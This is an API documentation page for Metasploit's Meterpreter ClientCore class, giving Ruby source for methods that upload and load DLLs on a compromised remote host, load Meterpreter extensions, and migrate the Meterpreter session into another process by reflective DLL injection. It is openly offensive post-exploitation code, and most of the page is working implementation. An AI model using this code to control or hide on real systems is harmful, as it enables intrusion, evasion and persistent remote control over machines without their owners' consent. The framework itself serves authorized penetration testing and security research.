Class: Rex::Post::Meterpreter::ClientCore

Inherits:
Extension
  • Object
show all
Defined in:
lib/rex/post/meterpreter/client_core.rb

Overview

This class is responsible for providing the interface to the core client-side meterpreter API which facilitates the loading of extensions and the interaction with channels.

Instance Attribute Summary

Attributes inherited from Extension

#name

Instance Method Summary collapse

Constructor Details

#initialize(client) ⇒ ClientCore

Initializes the ‘core’ portion of the meterpreter client commands.



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# File 'lib/rex/post/meterpreter/client_core.rb', line 25

def initialize(client)
	super(client, "core")
end

Instance Method Details

#load_library(opts) ⇒ Object

Loads a library on the remote meterpreter instance. This method supports loading both extension and non-extension libraries and also supports loading libraries from memory or disk depending on the flags that are specified

Supported flags:

LibraryFilePath The path to the library that is to be loaded

TargetFilePath The target library path when uploading

UploadLibrary Indicates whether or not the library should be uploaded

SaveToDisk Indicates whether or not the library should be saved to disk on the remote machine

Extension Indicates whether or not the library is a meterpreter extension



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# File 'lib/rex/post/meterpreter/client_core.rb', line 59

def load_library(opts)
	library_path = opts['LibraryFilePath']
	target_path  = opts['TargetFilePath']
	load_flags   = LOAD_LIBRARY_FLAG_LOCAL

	# No library path, no cookie.
	if (library_path == nil)
		raise ArgumentError, "No library file path was supplied", caller
	end

	# Set up the proper loading flags
	if (opts['UploadLibrary'])
		load_flags &= ~LOAD_LIBRARY_FLAG_LOCAL
	end
	if (opts['SaveToDisk'])
		load_flags |= LOAD_LIBRARY_FLAG_ON_DISK
	end
	if (opts['Extension'])
		load_flags |= LOAD_LIBRARY_FLAG_EXTENSION
	end

	# Create a request packet
	request = Packet.create_request('core_loadlib')

	# If we must upload the library, do so now
	if ((load_flags & LOAD_LIBRARY_FLAG_LOCAL) != LOAD_LIBRARY_FLAG_LOCAL)
		image = ''

		::File.open(library_path, 'rb') { |f|
			image = f.read
		}

		if (image != nil)
			request.add_tlv(TLV_TYPE_DATA, image, false, client.capabilities[:zlib])
		else
			raise RuntimeError, "Failed to serialize library #{library_path}.", caller
		end

		# If it's an extension we're dealing with, rename the library
		# path of the local and target so that it gets loaded with a random
		# name
		if (opts['Extension'])
			library_path = "ext" + rand(1000000).to_s + ".#{client.binary_suffix}"
			target_path  = library_path
		end
	end

	# Add the base TLVs
	request.add_tlv(TLV_TYPE_LIBRARY_PATH, library_path)
	request.add_tlv(TLV_TYPE_FLAGS, load_flags)

	if (target_path != nil)
		request.add_tlv(TLV_TYPE_TARGET_PATH, target_path)
	end

	# Transmit the request and wait the default timeout seconds for a response
	response = self.client.send_packet_wait_response(request, self.client.response_timeout)

	# No response?
	if (response == nil)
		raise RuntimeError, "No response was received to the core_loadlib request.", caller
	elsif (response.result != 0)
		raise RuntimeError, "The core_loadlib request failed with result: #{response.result}.", caller
	end

	return true
end

#migrate(pid) ⇒ Object

Migrates the meterpreter instance to the process specified by pid. The connection to the server remains established.



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# File 'lib/rex/post/meterpreter/client_core.rb', line 168

def migrate( pid )
	keepalive = client.send_keepalives
	client.send_keepalives = false
	process       = nil
	binary_suffix = nil

	# Load in the stdapi extension if not allready present so we can determine the target pid architecture...
	client.core.use( "stdapi" ) if not client.ext.aliases.include?( "stdapi" )

	# Determine the architecture for the pid we are going to migrate into...
	client.sys.process.processes.each { | p |
		if( p['pid'] == pid )
			process = p
			break
		end
	}

	# We cant migrate into a process that does not exist.
	if( process == nil )
		raise RuntimeError, "Cannot migrate into non existant process", caller
	end

	# We cant migrate into a process that we are unable to open
	if( process['arch'] == nil or process['arch'].empty? )
		raise RuntimeError, "Cannot migrate into this process (insufficient privileges)", caller
	end

	# And we also cant migrate into our own current process...
	if( process['pid'] == client.sys.process.getpid )
		raise RuntimeError, "Cannot migrate into current process", caller
	end

	# Create a new payload stub
	c = Class.new( ::Msf::Payload )
	c.include( ::Msf::Payload::Stager )

	# Include the appropriate reflective dll injection module for the target process architecture...
	if( process['arch'] == ARCH_X86 )
		c.include( ::Msf::Payload::Windows::ReflectiveDllInject )
		binary_suffix = "dll"
	elsif( process['arch'] == ARCH_X86_64 )
		c.include( ::Msf::Payload::Windows::ReflectiveDllInject_x64 )
		binary_suffix = "x64.dll"
	else
		raise RuntimeError, "Unsupported target architecture '#{process['arch']}' for process '#{process['name']}'.", caller
	end

	# Create the migrate stager
	migrate_stager = c.new()
	migrate_stager.datastore['DLL'] = ::File.join( Msf::Config.install_root, "data", "meterpreter", "metsrv.#{binary_suffix}" )

	payload = migrate_stager.stage_payload

	# Build the migration request
	request = Packet.create_request( 'core_migrate' )
	request.add_tlv( TLV_TYPE_MIGRATE_PID, pid )
	request.add_tlv( TLV_TYPE_MIGRATE_LEN, payload.length )
	request.add_tlv( TLV_TYPE_MIGRATE_PAYLOAD, payload, false, client.capabilities[:zlib])
	if( process['arch'] == ARCH_X86_64 )
		request.add_tlv( TLV_TYPE_MIGRATE_ARCH, 2 ) # PROCESS_ARCH_X64
	else
		request.add_tlv( TLV_TYPE_MIGRATE_ARCH, 1 ) # PROCESS_ARCH_X86
	end

	# Send the migration request (bump up the timeout to 60 seconds)
	response = client.send_request( request, 60 )

	# Disable the socket request monitor
	client.monitor_stop

	###
	# Now communicating with the new process
	###

	# Renegotiate SSL over this socket
	client.swap_sock_ssl_to_plain()
	client.swap_sock_plain_to_ssl()

	# Restart the socket monitor
	client.monitor_socket

	# Update the meterpreter platform/suffix for loading extensions as we may have changed target architecture
	# sf: this is kinda hacky but it works. As ruby doesnt let you un-include a module this is the simplest solution I could think of.
	# If the platform specific modules Meterpreter_x64_Win/Meterpreter_x86_Win change significantly we will need a better way to do this.
	if( process['arch'] == ARCH_X86_64 )
		client.platform      = 'x64/win64'
		client.binary_suffix = 'x64.dll'
	else
		client.platform      = 'x86/win32'
		client.binary_suffix = 'dll'
	end

	# Load all the extensions that were loaded in the previous instance (using the correct platform/binary_suffix)
	client.ext.aliases.keys.each { |e|
		client.core.use(e)
	}

	# Restore session keep-alives
	client.send_keepalives = keepalive

	return true
end

#use(mod, opts = { }) ⇒ Object

Loads a meterpreter extension on the remote server instance and initializes the client-side extension handlers

Module The module that should be loaded

LoadFromDisk Indicates that the library should be loaded from disk, not from memory on the remote machine



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# File 'lib/rex/post/meterpreter/client_core.rb', line 138

def use(mod, opts = { })
	if (mod == nil)
		raise RuntimeError, "No modules were specified", caller
	end
	# Get us to the installation root and then into data/meterpreter, where
	# the file is expected to be
	path = ::File.join(Msf::Config.install_root, 'data', 'meterpreter', 'ext_server_' + mod.downcase + ".#{client.binary_suffix}")

	if (opts['ExtensionPath'])
		path = opts['ExtensionPath']
	end

	path = ::File.expand_path(path)

	# Load the extension DLL
	if (load_library(
			'LibraryFilePath' => path,
			'UploadLibrary'   => true,
			'Extension'       => true,
			'SaveToDisk'      => opts['LoadFromDisk']))
		client.add_extension(mod)
	end

	return true
end